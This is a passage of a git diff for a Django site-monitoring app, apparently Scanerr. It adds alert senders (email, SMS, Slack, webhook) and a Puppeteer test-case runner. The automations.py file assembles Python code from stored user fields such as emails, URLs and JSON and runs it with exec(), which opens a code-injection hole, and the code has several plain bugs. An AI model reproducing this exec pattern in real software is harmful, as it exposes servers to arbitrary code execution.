'PWA Delta:\t'+str(item.lighthouse_delta["scores"]["pwa_delta"])+'\n\t' + elif 'crux_delta' in e['data_type']: + data_type = 'CRUX Delta:\t'+str(item.lighthouse_delta["scores"]["crux_delta"])+'\n\t' + elif 'best_practices_delta' in e['data_type']: + data_type = 'Best Practices Delta:\t'+str(item.lighthouse_delta["scores"]["best_practices_delta"])+'\n\t' + elif 'performance_delta' in e['data_type']: + data_type = 'Performance Delta:\t'+str(item.lighthouse_delta["scores"]["performance_delta"])+'\n\t' + elif 'accessibility_delta' in e['data_type']: + data_type = 'Accessibility Delta:\t'+str(item.lighthouse_delta["scores"]["accessibility_delta"])+'\n\t' + # LH scan data + elif 'lighthouse_average' in e['data_type']: + data_type = 'Lighthouse Average:\t'+str(item.lighthouse["scores"]["average"])+'\n\t' + elif 'seo' in e['data_type']: + data_type = 'SEO:\t'+str(item.lighthouse["scores"]["seo"])+'\n\t' + elif 'pwa' in e['data_type']: + data_type = 'PWA:\t'+str(item.lighthouse["scores"]["pwa"])+'\n\t' + elif 'crux' in e['data_type']: + data_type = 'CRUX:\t'+str(item.lighthouse["scores"]["crux"])+'\n\t' + elif 'best_practices' in e['data_type']: + data_type = 'Best Practices:\t'+str(item.lighthouse["scores"]["best_practices"])+'\n\t' + elif 'performance' in e['data_type']: + data_type = 'Performance:\t'+str(item.lighthouse["scores"]["performance"])+'\n\t' + elif 'accessibility' in e['data_type']: + data_type = 'Accessibility:\t'+str(item.lighthouse["scores"]["accessibility"])+'\n\t' + + + + # yellowlab test data + elif 'current_yellowlab_average' in e['data_type']: + data_type = 'Yellow Lab Avg:\t'+str(item.yellowlab_delta["scores"]["current_average"])+'\n\t' + elif 'pageWeight_delta' in e['data_type']: + data_type = 'Page Weight Delta:\t'+str(item.yellowlab_delta["scores"]["pageWeight_delta"])+'\n\t' + elif 'requests_delta' in e['data_type']: + data_type = 'Requests Delta:\t'+str(item.yellowlab_delta["scores"]["requests_delta"])+'\n\t' + elif 'domComplexity_delta' in e['data_type']: + data_type = 'DOM Complex. Delta:\t'+str(item.yellowlab_delta["scores"]["domComplexity_delta"])+'\n\t' + elif 'javascriptComplexity_delta' in e['data_type']: + data_type = 'JS Complex. Delta:\t'+str(item.yellowlab_delta["scores"]["javascriptComplexity_delta"])+'\n\t' + elif 'badJavascript_delta' in e['data_type']: + data_type = 'Bad JS Delta:\t'+str(item.yellowlab_delta["scores"]["badJavascript_delta"])+'\n\t' + elif 'jQuery_delta' in e['data_type']: + data_type = 'jQuery Delta:\t'+str(item.yellowlab_delta["scores"]["jQuery_delta"])+'\n\t' + elif 'cssComplexity_delta' in e['data_type']: + data_type = 'CSS Complex. Delta:\t'+str(item.yellowlab_delta["scores"]["cssComplexity_delta"])+'\n\t' + elif 'badCSS_delta' in e['data_type']: + data_type = 'Bad CSS Delta:\t'+str(item.yellowlab_delta["scores"]["badCSS_delta"])+'\n\t' + elif 'fonts_delta' in e['data_type']: + data_type = 'Fonts Delta:\t'+str(item.yellowlab_delta["scores"]["fonts_delta"])+'\n\t' + elif 'serverConfig_delta' in e['data_type']: + data_type = 'Server Config Delta:\t'+str(item.yellowlab_delta["scores"]["serverConfig_delta"])+'\n\t' + + # yellowlab scan data + elif 'yellowlab_average' in e['data_type']: + data_type = 'Yellow Lab Avg:\t'+str(item.yellowlab["scores"]["globalScore"])+'\n\t' + elif 'pageWeight' in e['data_type']: + data_type = 'Page Weight:\t'+str(item.yellowlab["scores"]["pageWeight"])+'\n\t' + elif 'requests' in e['data_type']: + data_type = 'Requests:\t'+str(item.yellowlab["scores"]["requests"])+'\n\t' + elif 'domComplexity' in e['data_type']: + data_type = 'DOM Complex.:\t'+str(item.yellowlab["scores"]["domComplexity"])+'\n\t' + elif 'javascriptComplexity' in e['data_type']: + data_type = 'JS Complex.:\t'+str(item.yellowlab["scores"]["javascriptComplexity"])+'\n\t' + elif 'badJavascript' in e['data_type']: + data_type = 'Bad JS:\t'+str(item.yellowlab["scores"]["badJavascript"])+'\n\t' + elif 'jQuery' in e['data_type']: + data_type = 'jQuery:\t'+str(item.yellowlab["scores"]["jQuery"])+'\n\t' + elif 'cssComplexity' in e['data_type']: + data_type = 'CSS Complex.:\t'+str(item.yellowlab["scores"]["cssComplexity"])+'\n\t' + elif 'badCSS' in e['data_type']: + data_type = 'Bad CSS:\t'+str(item.yellowlab["scores"]["badCSS"])+'\n\t' + elif 'fonts' in e['data_type']: + data_type = 'Fonts:\t'+str(item.yellowlab["scores"]["fonts"])+'\n\t' + elif 'serverConfig' in e['data_type']: + data_type = 'Server Config:\t'+str(item.yellowlab["scores"]["serverConfig"])+'\n\t' + + elif 'avg_image_score' in e['data_type']: + data_type = ' Avg Image Score:\t'+str(item.images_delta["average_score"])+'\n\t' + elif 'image_scores' in e['data_type']: + data_type = 'List of Image Scores:\t'+str([i["score"] for i in item.images_delta["images"]])+'\n\t' + + elif 'logs' in e['data_type']: + data_type = 'Error Logs:\t'+str(len(item.logs))+'\n\t' + + + elif 'testcase' in e['data_type']: + status = 'Failed' + if e['value'] == 'True': + status = 'Passed' + data_type = 'Testcase "'+str(item.case.name)+'" --> '+str(status) + + + exp_list.append(data_type) + + if is_email: + return exp_list + + exp_str = ('\t'+''.join(exp_list)) + return exp_str + + + + + +def create_json_data(data, obj): + json_data = data + item = obj + + for key in json_data: + if 'test_score' == json_data[key]: + json_data[key] = item.score + elif 'seo_delta' == json_data[key]: + json_data[key] = item.lighthouse_delta["scores"]["seo_delta"] + elif 'pwa_delta' == json_data[key]: + json_data[key] = item.lighthouse_delta["scores"]["pwa_delta"] + elif 'crux_delta' == json_data[key]: + json_data[key] = item.lighthouse_delta["scores"]["crux_delta"] + elif 'best_practices_delta' == json_data[key]: + json_data[key] = item.lighthouse_delta["scores"]["best_practices_delta"] + elif 'performance_delta' == json_data[key]: + json_data[key] = item.lighthouse_delta["scores"]["performance_delta"] + elif 'accessibility_delta' == json_data[key]: + json_data[key] = item.lighthouse_delta["scores"]["accessibility_delta"] + elif 'current_health' == json_data[key]: + json_data[key] = (float(item.lighthouse_delta["scores"]["average"]) + float(item.yellowlab_delta["scores"]["globalScore"])/2) + elif 'health' == json_data[key]: + json_data[key] = (float(item.lighthouse["scores"]["average"]) + float(item.yellowlab["scores"]["globalScore"])/2) + elif 'logs' == json_data[key]: + json_data[key] = len(item.logs) + elif 'current_lighthouse_average' == json_data[key]: + json_data[key] = item.lighthouse_delta["scores"]["current_average"] + elif 'current_average' == json_data[key]: + json_data[key] = item.lighthouse["scores"]["current_average"] + elif 'seo' == json_data[key]: + json_data[key] = item.lighthouse["scores"]["seo"] + elif 'pwa' == json_data[key]: + json_data[key] = item.lighthouse["scores"]["pwa"] + elif 'crux' == json_data[key]: + json_data[key] = item.lighthouse["scores"]["crux"] + elif 'best_practice' == json_data[key]: + json_data[key] = item.lighthouse["scores"]["best_practices"] + elif 'performance' == json_data[key]: + json_data[key] = item.lighthouse["scores"]["performance"] + elif 'accessibility' == json_data[key]: + json_data[key] = item.lighthouse["scores"]["accessibility"] + + elif 'current_yellowlab_average' == json_data[key]: + json_data[key] = item.yellowlab_delta["scores"]["current_average"] + elif 'pageWeight_delta' == json_data[key]: + json_data[key] = item.yellowlab_delta["scores"]["pageWeight_delta"] + elif 'requests_delta' == json_data[key]: + json_data[key] = item.yellowlab_delta["scores"]["requests_delta"] + elif 'domComplexity_delta' == json_data[key]: + json_data[key] = item.yellowlab_delta["scores"]["domComplexity_delta"] + elif 'javascriptComplexity_delta' == json_data[key]: + json_data[key] = item.yellowlab_delta["scores"]["javascriptComplexity_delta"] + elif 'badJavascript_delta' == json_data[key]: + json_data[key] = item.yellowlab_delta["scores"]["badJavascript_delta"] + elif 'jQuery_delta' == json_data[key]: + json_data[key] = item.yellowlab_delta["scores"]["jQuery_delta"] + elif 'cssComplexity_delta' == json_data[key]: + json_data[key] = item.yellowlab_delta["scores"]["cssComplexity_delta"] + elif 'badCSS_delta' == json_data[key]: + json_data[key] = item.yellowlab_delta["scores"]["badCSS_delta"] + elif 'fonts_delta' == json_data[key]: + json_data[key] = item.yellowlab_delta["scores"]["fonts_delta"] + elif 'serverConfig_delta' == json_data[key]: + json_data[key] = item.yellowlab_delta["scores"]["serverConfig_delta"] + + elif 'yellowlab_average' == json_data[key]: + json_data[key] = item.yellowlab["scores"]["globalScore"] + elif 'pageWeight' == json_data[key]: + json_data[key] = item.yellowlab["scores"]["pageWeight"] + elif 'requests' == json_data[key]: + json_data[key] = item.yellowlab["scores"]["requests"] + elif 'domComplexity' == json_data[key]: + json_data[key] = item.yellowlab["scores"]["domComplexity"] + elif 'javascriptComplexity' == json_data[key]: + json_data[key] = item.yellowlab["scores"]["javascriptComplexity"] + elif 'badJavascript' == json_data[key]: + json_data[key] = item.yellowlab["scores"]["badJavascript"] + elif 'jQuery' == json_data[key]: + json_data[key] = item.yellowlab["scores"]["jQuery"] + elif 'cssComplexity' == json_data[key]: + json_data[key] = item.yellowlab["scores"]["cssComplexity"] + elif 'badCSS' == json_data[key]: + json_data[key] = item.yellowlab["scores"]["badCSS"] + elif 'fonts' == json_data[key]: + json_data[key] = item.yellowlab["scores"]["fonts"] + elif 'serverConfig' == json_data[key]: + json_data[key] = item.yellowlab["scores"]["serverConfig"] + + elif 'avg_image_score' == json_data[key]: + json_data[key] = item.images_delta["average_score"] + elif 'image_scores' == json_data[key]: + json_data[key] = [i["score"] for i in item.images_delta["images"]] + + + return json_data + + + + + + +def get_item(object_id): + try: + item = Test.objects.get(id=uuid.UUID(object_id)) + item_type = 'Test' + except: + try: + item = Scan.objects.get(id=uuid.UUID(object_id)) + item_type = 'Scan' + except: + try: + item = Testcase.objects.get(id=uuid.UUID(object_id)) + item_type = 'Testcase' + except: + return {'success': False} + + data = { + 'item_type': item_type, + 'item': item, + 'success': True + } + + return data + + + + + +def automation_email(email=None, automation_id=None, object_id=None): + if email and automation_id: + automation = Automation.objects.get(id=automation_id) + schedule = automation.schedule + site = schedule.site + + # getting object + data = get_item(object_id=object_id) + if not data['success']: + return {'success': False} + + item = data['item'] + item_type = data['item_type'] + + exp_list = create_exp_str(item=item, automation=automation, is_email=True) + + object_url = str(os.environ.get('CLIENT_URL_ROOT') + '/site/'+str(site.id)) + subject = f'Alert for {site.site_url}' + title = f'Alert for {site.site_url}' + pre_header = f'Alert for {site.site_url}' + pre_content = ( + f'Scanerr just finished running a {item_type} for {site.site_url}. ' + f'Below are the current stats:\n' + ) + content = ( + f'This message was triggered by an automation you created. ' + f'You can change the automation and schedule in your site\'s dashboard. ' + ) + subject = subject + context = { + 'title' : title, + 'subject': subject, + 'pre_header' : pre_header, + 'pre_content' : pre_content, + 'exp_list': exp_list, + 'object_url' : object_url, + 'home_page' : os.environ.get('CLIENT_URL_ROOT'), + 'button_text' : 'View Site Dashboard', + 'content' : content, + 'email': email, + 'signature' : '- Cheers!', + } + + sendgrid_email(message_obj=context) + + # html_message = render_to_string('api/automation_email.html', context) + # plain_message = strip_tags(html_message) + # send_mail( + # from_email = os.getenv('EMAIL_HOST_USER'), + # subject = subject, + # message = plain_message, + # recipient_list = [email], + # html_message = html_message, + # fail_silently = True, + # ) + + data = { + 'success': True + } + + else: + data = { + 'success': False + } + + return data + + + + + +def automation_report_email(email=None, automation_id=None, object_id=None): + if email and automation_id: + automation = Automation.objects.get(id=automation_id) + schedule = automation.schedule + site = schedule.site + + try: + item = Report.objects.get(id=uuid.UUID(object_id)) + item_type = 'Report' + except: + return {'success': False} + + exp_list = '' + object_url = str(item.path) + subject = f'Report for {site.site_url}' + title = f'Report for {site.site_url}' + pre_header = f'Report for {site.site_url}' + pre_content = ( + f'Scanerr just finished creating a {item_type} for {site.site_url}. ' + f'Please click the link below to access and download the report.\n' + ) + content = ( + f'This message was triggered by an automation created with Scanerr. ' + f'You can change the automation and schedule in your site\'s dashboard. ' + ) + subject = subject + context = { + 'title' : title, + 'pre_header' : pre_header, + 'pre_content' : pre_content, + 'exp_list': exp_list, + 'object_url' : object_url, + 'home_page' : os.environ.get('CLIENT_URL_ROOT'), + 'button_text' : 'View Report', + 'content' : content, + 'signature' : '- Cheers!', + } + + html_message = render_to_string('api/automation_email.html', context) + plain_message = strip_tags(html_message) + send_mail( + from_email = os.getenv('EMAIL_HOST_USER'), + subject = subject, + message = plain_message, + recipient_list = [email], + html_message = html_message, + fail_silently = True, + ) + + data = { + 'success': True + } + + else: + data = { + 'success': False + } + + return data + + + + +def automation_webhook( + request_type=None, + request_url=None, + request_data=None, + automation_id=None, + object_id=None, + ): + if request_type and automation_id and request_url and request_data and object_id: + automation = Automation.objects.get(id=automation_id) + schedule = automation.schedule + site = schedule.site + + # getting object + data = get_item(object_id=object_id) + if not data['success']: + return {'success': False} + + item = data['item'] + item_type = data['item_type'] + + pre_json_data = json.loads(request_data) + json_data = create_json_data(data=pre_json_data, obj=item) + + try: + if request_type == 'POST': + response = requests.post(request_url, data=json_data) + elif request_data == 'GET': + response = requests.get(request_url, params=json_data) + + print(response.json()) + + except: + data = {'success': False} + + data = { + 'success': True + } + + else: + data = { + 'success': False + } + + return data + + + + + +def automation_phone(phone_number=None, automation_id=None, object_id=None): + if phone_number and automation_id and object_id: + automation = Automation.objects.get(id=automation_id) + schedule = automation.schedule + site = schedule.site + + # getting object + data = get_item(object_id=object_id) + if not data['success']: + return {'success': False} + + item = data['item'] + item_type = data['item_type'] + + exp_str = create_exp_str(item=item, automation=automation) + + object_url = str(os.environ.get('CLIENT_URL_ROOT') + '/site/'+str(site.id)) + pre_content = ( + f'Scanerr just finished running a {item_type} for {site.site_url}. ' + f'Below are the current stats:\n\n\t{exp_str}\n' + ) + content = ( + f'This message was triggered by an automation you created. ' + f'You can change the automation and schedule in your site\'s dashboard. ' + ) + + body = f'Hi there,\n\n{pre_content}{content}\n{object_url}' + + account_sid = os.environ.get("TWILIO_SID") + auth_token = os.environ.get("TWILIO_AUTH_TOKEN") + client = Client(account_sid, auth_token) + + message = client.messages.create( + to=phone_number, + from_=os.environ.get('TWILIO_NUMBER'), + body=body + ) + + data = { + 'success': True + } + + else: + data = { + 'success': False + } + + return data + + + + +def automation_slack(automation_id=None, object_id=None): + if automation_id and object_id: + automation = Automation.objects.get(id=automation_id) + account = Account.objects.get(user=automation.user) + schedule = automation.schedule + site = schedule.site + + # getting object + data = get_item(object_id=object_id) + if not data['success']: + return {'success': False} + + item = data['item'] + item_type = data['item_type'] + + exp_str = create_exp_str(item=item, automation=automation) + + object_url = str(os.environ.get('CLIENT_URL_ROOT') + '/site/'+str(site.id)) + pre_content = ( + f'Scanerr just finished running a {item_type} for {site.site_url}. ' + f'Below are the current stats:\n\n\t{exp_str}\n' + ) + content = ( + f'This message was triggered by an automation you created. ' + f'You can change the automation and schedule in your site\'s dashboard. ' + ) + + body = f'Hi there,\n\n{pre_content}{content}\n{object_url}' + + token = account.slack['bot_access_token'] + channel = account.slack['slack_channel_id'] + + client = WebClient(token=token) + try: + response = client.chat_postMessage( + channel=channel, + text=(body), + block=[ + { + "type": "section", + "text": { + "type": "mrkdwn", + "text": body, + + } + } + ] + ) + except SlackApiError as e: + assert e.response["error"] + + data = { + 'success': True + } + + else: + data = { + 'success': False + } + + return data + + + + + + + +def sendgrid_email(message_obj): + """ + Tries to send an email via the SendGrid API. + + Expects the following: + "message_obj": { + 'pre_content': , + 'content': , + 'subject': , + 'title': , + 'pre_header': , + 'button_text': , + 'exp_list': , + 'email': , + 'template': , + 'object_url': , + 'signature': + } + + Returns --> data: { + 'message': True + } + """ + + + # defining data + pre_content = message_obj.get('pre_content') + content = message_obj.get('content') + subject = message_obj.get('subject') + title = message_obj.get('title') + pre_header = message_obj.get('pre_header') + button_text = message_obj.get('button_text') + email = message_obj.get('email') + exp_list = message_obj.get('exp_list') + object_url = message_obj.get('object_url') + signature = message_obj.get('signature', '- Cheers!') + + + # build template data + template_data = { + 'title' : title, + 'pre_header' : pre_header, + 'pre_content' : pre_content, + 'object_url' : object_url, + 'exp_list': exp_list, + 'home_page' : settings.LANDING_URL_ROOT, + 'button_text' : button_text, + 'content' : content, + 'signature' : signature, + 'subject': subject, + } + + # decide which template to use based on data + template = settings.DEFAULT_TEMPLATE + if object_url is None: + template = settings.DEFAULT_TEMPLATE_NO_BUTTON + if exp_list is not None: + template = settings.AUTOMATION_TEMPLATE + + + # init SendGrid message + message = Mail( + from_email=From('hello@scanerr.io', 'Scanerr'), # prod -> settings.EMAIL_HOST_USER + to_emails=email, + ) + + # attach template data and id + message.dynamic_template_data = template_data + message.template_id = template + + # send message + try: + sg = SendGridAPIClient(settings.SENDGRID_API_KEY) + response = sg.send(message) + status = True + except Exception as e: + status = False + print(e.message) + + + data = { + 'success': status + } + + return data diff --git a/app/api/utils/automations.py b/app/api/utils/automations.py new file mode 100644 index 00000000..ea7be1b9 --- /dev/null +++ b/app/api/utils/automations.py @@ -0,0 +1,242 @@ +from ..models import * +from .alerts import * +import re, uuid + + + +def automation(automation_id, object_id): + automation = Automation.objects.get(id=automation_id) + schedule = automation.schedule + expressions = automation.expressions + exp_list = [] + actions = automation.actions + act_list = [] + scan = None + test = None + report = None + testcase = None + use_exp = True + + if schedule.task_type == 'scan': + try: + scan = Scan.objects.get(id=object_id) + except: + return False + + elif schedule.task_type == 'test': + try: + test = Test.objects.get(id=object_id) + except: + return False + + elif schedule.task_type == 'report': + try: + report = Report.objects.get(id=object_id) + use_exp = False + except: + return False + elif schedule.task_type == 'testcase': + try: + testcase = Testcase.objects.get(id=object_id) + use_exp = True + except: + return False + else: + return False + + + + + if use_exp: + + for expression in expressions: + + exp = None + data_type = None + + if testcase == None: + value = str(float(re.search(r'\d+', str(expression['value'])).group())) + + if '>=' in expression['operator']: + operator = ' >= ' + else: + operator = ' <= ' + + if 'and' in expression['joiner']: + joiner = ' and ' + elif 'or' in expression['joiner']: + joiner = ' or ' + else: + joiner = '' + + if testcase != None: + operator = ' == ' + joiner = '' + data_type = 'testcase.passed' + value = str(expression['value']) + + + if 'test_score' in expression['data_type']: + data_type = 'float(test.score)' + + # lighthouse test data + elif 'current_lighthouse_average' in expression['data_type']: + data_type = 'float(test.lighthouse_delta["scores"]["current_average"])' + elif 'seo_delta' in expression['data_type']: + data_type = 'float(test.lighthouse_delta["scores"]["seo_delta"])' + elif 'pwa_delta' in expression['data_type']: + data_type = 'float(test.lighthouse_delta["scores"]["pwa_delta"])' + elif 'crux_delta' in expression['data_type']: + data_type = 'float(test.lighthouse_delta["scores"]["crux_delta"])' + elif 'best_practices_delta' in expression['data_type']: + data_type = 'float(test.lighthouse_delta["scores"]["best_practices_delta"])' + elif 'performance_delta' in expression['data_type']: + data_type = 'float(test.lighthouse_delta["scores"]["performance_delta"])' + elif 'accessibility_delta' in expression['data_type']: + data_type = 'float(test.lighthouse_delta["scores"]["accessibility_delta"])' + # lighthouse scan data + elif 'lighthouse_average' in expression['data_type']: + data_type = 'float(scan.lighthouse["scores"]["average"])' + elif 'seo' in expression['data_type']: + data_type = 'float(scan.lighthouse["scores"]["seo"])' + elif 'pwa' in expression['data_type']: + data_type = 'float(scan.lighthouse["scores"]["pwa"])' + elif 'crux' in expression['data_type']: + data_type = 'float(scan.lighthouse["scores"]["crux"])' + elif 'best_practices' in expression['data_type']: + data_type = 'float(scan.lighthouse["scores"]["best_practices"])' + elif 'performance' in expression['data_type']: + data_type = 'float(scan.lighthouse["scores"]["performance"])' + elif 'accessibility' in expression['data_type']: + data_type = 'float(scan.lighthouse["scores"]["accessibility"])' + + # yellowlab test data + elif 'current_yellowlab_average' in expression['data_type']: + data_type = 'float(test.yellowlab_delta["scores"]["current_average"])' + elif 'pageWeight_delta' in expression['data_type']: + data_type = 'float(test.yellowlab_delta["scores"]["pageWeight_delta"])' + elif 'requests_delta' in expression['data_type']: + data_type = 'float(test.yellowlab_delta["scores"]["requests_delta"])' + elif 'domComplexity_delta' in expression['data_type']: + data_type = 'float(test.yellowlab_delta["scores"]["domComplexity_delta"])' + elif 'javascriptComplexity_delta' in expression['data_type']: + data_type = 'float(test.yellowlab_delta["scores"]["javascriptComplexity_delta"])' + elif 'badJavascript_delta' in expression['data_type']: + data_type = 'float(test.yellowlab_delta["scores"]["badJavascript_delta"])' + elif 'jQuery_delta' in expression['data_type']: + data_type = 'float(test.yellowlab_delta["scores"]["jQuery_delta"])' + elif 'cssComplexity_delta' in expression['data_type']: + data_type = 'float(test.yellowlab_delta["scores"]["cssComplexity_delta"])' + elif 'badCSS_delta' in expression['data_type']: + data_type = 'float(test.yellowlab_delta["scores"]["badCSS_delta"])' + elif 'fonts_delta' in expression['data_type']: + data_type = 'float(test.yellowlab_delta["scores"]["fonts_delta"])' + elif 'serverConfig_delta' in expression['data_type']: + data_type = 'float(test.yellowlab_delta["scores"]["serverConfig_delta"])' + # yellowlab scan data + elif 'yellowlab_average' in expression['data_type']: + data_type = 'float(scan.yellowlab["scores"]["globalScore"])' + elif 'pageWeight' in expression['data_type']: + data_type = 'float(scan.yellowlab["scores"]["pageWeight"])' + elif 'requests' in expression['data_type']: + data_type = 'float(scan.yellowlab["scores"]["requests"])' + elif 'domComplexity' in expression['data_type']: + data_type = 'float(scan.yellowlab["scores"]["domComplexity"])' + elif 'javascriptComplexity' in expression['data_type']: + data_type = 'float(scan.yellowlab["scores"]["javascriptComplexity"])' + elif 'badJavascript' in expression['data_type']: + data_type = 'float(scan.yellowlab["scores"]["badJavascript"])' + elif 'jQuery' in expression['data_type']: + data_type = 'float(scan.yellowlab["scores"]["jQuery"])' + elif 'cssComplexity' in expression['data_type']: + data_type = 'float(scan.yellowlab["scores"]["cssComplexity"])' + elif 'badCSS' in expression['data_type']: + data_type = 'float(scan.yellowlab["scores"]["badCSS"])' + elif 'fonts' in expression['data_type']: + data_type = 'float(scan.yellowlab["scores"]["fonts"])' + elif 'serverConfig' in expression['data_type']: + data_type = 'float(scan.yellowlab["scores"]["serverConfig"])' + + + elif 'logs' in expression['data_type']: + data_type = 'len(scan.logs)' + + elif 'current_health' in expression['data_type']: + data_type = '((float(test.lighthouse_delta["scores"]["current_average"]) + float(test.yellowlab_delta["scores"]["current_average"]))/2)' + + elif 'health' in expression['data_type']: + data_type = '((float(scan.lighthouse["scores"]["average"]) + float(scan.yellowlab["scores"]["globalScore"]))/2)' + + elif 'avg_image_score' in expression['data_type']: + data_type = 'float(test.images_delta["average_score"])' + + elif 'image_scores' in expression['data_type']: + data_type = '[i["score"] for i in test.images_delta["images"]]' + exp = f'{joiner}any(i{operator}{value} for i in {data_type})' + + if exp is None: + exp = f'{joiner}{data_type}{operator}{value}' + + exp_list.append(exp) + + + + for action in actions: + + if 'slack' in action['action_type']: + action_type = f"\n print('sending slack alert')\ + \n automation_slack(automation_id='{str(automation.id)}', \ + object_id='{str(object_id)}')" + + if 'webhook' in action['action_type']: + action_type = f"\n print('sending webhook alert')\ + \n automation_webhook(request_type='{action['request']}', \ + request_url='{action['url']}', request_data='{action['json']}', \ + automation_id='{str(automation.id)}', \ + object_id='{str(object_id)}')" + + if 'email' in action['action_type']: + action_type = f"\n print('sending email alert')\ + \n automation_email(email='{action['email']}',\ + automation_id='{str(automation.id)}', \ + object_id='{str(object_id)}')" + + if report: + action_type = f"\n print('sending report email')\ + \n automation_report_email(email='{action['email']}',\ + automation_id='{str(automation.id)}', \ + object_id='{str(object_id)}')" + + if 'phone' in action['action_type']: + action_type = f"\n print('sending phone alert')\ + \n automation_phone(phone_number='{action['phone']}', \ + automation_id='{str(automation.id)}', \ + object_id='{str(object_id)}')" + + act = f'{action_type}' + act_list.append(act) + + + exp_string = ' '.join(exp_list) + act_string = ''.join(act_list) + + if not use_exp: + exp_string = '1 == 1' + + automation_logic = f'if {exp_string}:{act_string}' + print(automation_logic) + exec(automation_logic) + + return True + + + + + + + + + + + + \ No newline at end of file diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py new file mode 100644 index 00000000..54f2d814 --- /dev/null +++ b/app/api/utils/caser.py @@ -0,0 +1,357 @@ +from .driver_p import driver_init +import time, asyncio, uuid, json, boto3, os +from ..models import * +from datetime import datetime +from asgiref.sync import sync_to_async +from scanerr import settings + + + + + +class Caser(): + + + def __init__(self, testcase): + self.testcase = testcase + self.site_url = self.testcase.site.site_url + self.steps = self.testcase.steps + self.case_name = self.testcase.case.name + self.configs = self.testcase.configs + + + + @sync_to_async + def update_testcase( + self, index=None, type=None, start_time=None, end_time=None, + passed=None, exception=None, time_completed=None, image=None, + ): + if start_time != None: + self.testcase.steps[index][type]['time_created'] = str(start_time) + if end_time != None: + self.testcase.steps[index][type]['time_completed'] = str(end_time) + if passed != None: + self.testcase.steps[index][type]['passed'] = passed + if exception != None: + self.testcase.steps[index][type]['exception'] = str(exception) + if image != None: + self.testcase.steps[index][type]['image'] = str(image) + if time_completed != None: + self.testcase.time_completed = time_completed + test_status = True + for step in self.testcase.steps: + if step['action']['passed'] == False: + test_status = False + if step['assertion']['passed'] == False: + test_status = False + self.testcase.passed = test_status + + self.testcase.save() + return + + @sync_to_async + def format_element(self, element): + elememt = json.dumps(element).rstrip('"').lstrip('"') + return element + + + + + async def save_screenshot(self, page): + ''' + Grabs & uploads a screenshot of the `page` + passed in the params. + + Returns -> `image_url` + + ''' + + # setup boto3 configurations + s3 = boto3.client( + 's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), + aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), + region_name=str(settings.AWS_S3_REGION_NAME), + endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) + ) + + # setting id for image + pic_id = uuid.uuid4() + + # get screenshot + await page.screenshot({'path': f'{pic_id}.png'}) + + # seting up paths + image = os.path.join(settings.BASE_DIR, f'{pic_id}.png') + remote_path = f'static/testcases/{self.testcase.id}/{pic_id}.png' + root_path = settings.AWS_S3_URL_PATH + image_url = f'{root_path}/{remote_path}' + + # upload to s3 + with open(image, 'rb') as data: + s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), + remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"} + ) + # remove local copy + os.remove(image) + + # returning image url + return image_url + + + + + async def run(self): + + + print(f'beginging testcase for {self.site_url} \ + using case {self.case_name}') + + # initate driver + self.driver = await driver_init() + + # init page obj + self.page = await self.driver.newPage() + + # setting up page with configs + sizes = self.configs['window_size'].split(',') + is_mobile = False + if self.configs['device'] == 'mobile': + is_mobile = True + + self.page_options = { + 'waitUntil': 'networkidle0', + 'timeout': int(self.configs['max_wait_time'])*1000 + } + + print(f'setting max timeout to -> {int(self.configs["max_wait_time"])}s') + + viewport = { + 'width': int(sizes[0]), + 'height': int(sizes[1]), + 'isMobile': is_mobile, + } + + userAgent = ( + "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 \ + (KHTML, like Gecko) Chrome/99.0.4812.0 Mobile Safari/537.36" + ) + + emulate_options = { + 'viewport': viewport, + 'userAgent': userAgent + } + + if self.configs['device'] == 'mobile': + await self.page.emulate(emulate_options) + else: + await self.page.setViewport(viewport) + + + i = 0 + for step in self.steps: + print(f'-- running step #{i+1} --') + # print(f'step contents: {step}') + + if step['action']['type'] == 'navigate': + exception = None + passed = True + image = None + await self.update_testcase( + index=i, type='action', + start_time=datetime.now() + ) + + try: + print(f'navigating to {self.site_url}{step["action"]["path"]}') + # using puppeteer, navigate to requested path & wait for page to load + await self.page.goto(f'{self.site_url}{step["action"]["path"]}', self.page_options) + time.sleep(int(self.configs['min_wait_time'])) + + except Exception as e: + image = await self.save_screenshot(page=self.page) + exception = e + passed = False + + + await self.update_testcase( + index=i, type='action', + end_time=datetime.now(), + passed=passed, + exception=exception, + image=image + ) + + + + if step['action']['type'] == 'click': + exception = None + passed = True + image = None + await self.update_testcase( + index=i, type='action', + start_time=datetime.now() + ) + + try: + print(f'clicking element -> {step["action"]["element"]}') + # using puppeteer, find and click on the 'element' + selector = await self.format_element(step["action"]["element"]) + await self.page.waitForSelector(selector, timeout=(int(self.configs['max_wait_time'])*1000)) + # scrolling to element using plain JavaScript + await self.page.evaluate(f'document.querySelector({selector}).scrollIntoView()') + element = await self.page.J(selector) + await element.click() + time.sleep(int(self.configs['min_wait_time'])) + + except Exception as e: + image = await self.save_screenshot(page=self.page) + exception = e + passed = False + + await self.update_testcase( + index=i, type='action', + end_time=datetime.now(), + passed=passed, + exception=exception, + image=image + ) + + + if step['action']['type'] == 'change': + exception = None + passed = True + image = None + await self.update_testcase( + index=i, type='action', + start_time=datetime.now() + ) + + try: + print(f'changing element to value -> {step["action"]["value"]}') + # using puppeteer, find and click on the 'element' + if step["action"]["element"] != (None or ''): + selector = await self.format_element(step["action"]["element"]) + await self.page.waitForSelector(selector, timeout=(int(self.configs['max_wait_time'])*1000)) + # scrolling to element using plain JavaScript + await self.page.evaluate(f'document.querySelector({selector}).scrollIntoView()') + element = await self.page.J(selector) + await element.click(clickCount=3) + await self.page.keyboard.type(step["action"]["value"]) + time.sleep(int(self.configs['min_wait_time'])) + + except Exception as e: + image = await self.save_screenshot(page=self.page) + exception = e + passed = False + + await self.update_testcase( + index=i, type='action', + end_time=datetime.now(), + passed=passed, + exception=exception, + image=image + ) + + + if step['action']['type'] == 'keyDown': + exception = None + passed = True + image = None + await self.update_testcase( + index=i, type='action', + start_time=datetime.now() + ) + + try: + print(f'keyDown action for key -> {step["action"]["key"]}') + # using puppeteer, press the selected key + await self.page.keyboard.press(step['action']['key']) + time.sleep(int(self.configs['min_wait_time'])) + + except Exception as e: + image = await self.save_screenshot(page=self.page) + exception = e + passed = False + + await self.update_testcase( + index=i, type='action', + end_time=datetime.now(), + passed=passed, + exception=exception, + image=image + ) + + + + + if step['assertion']['type'] == 'match': + exception = None + passed = True + image = None + await 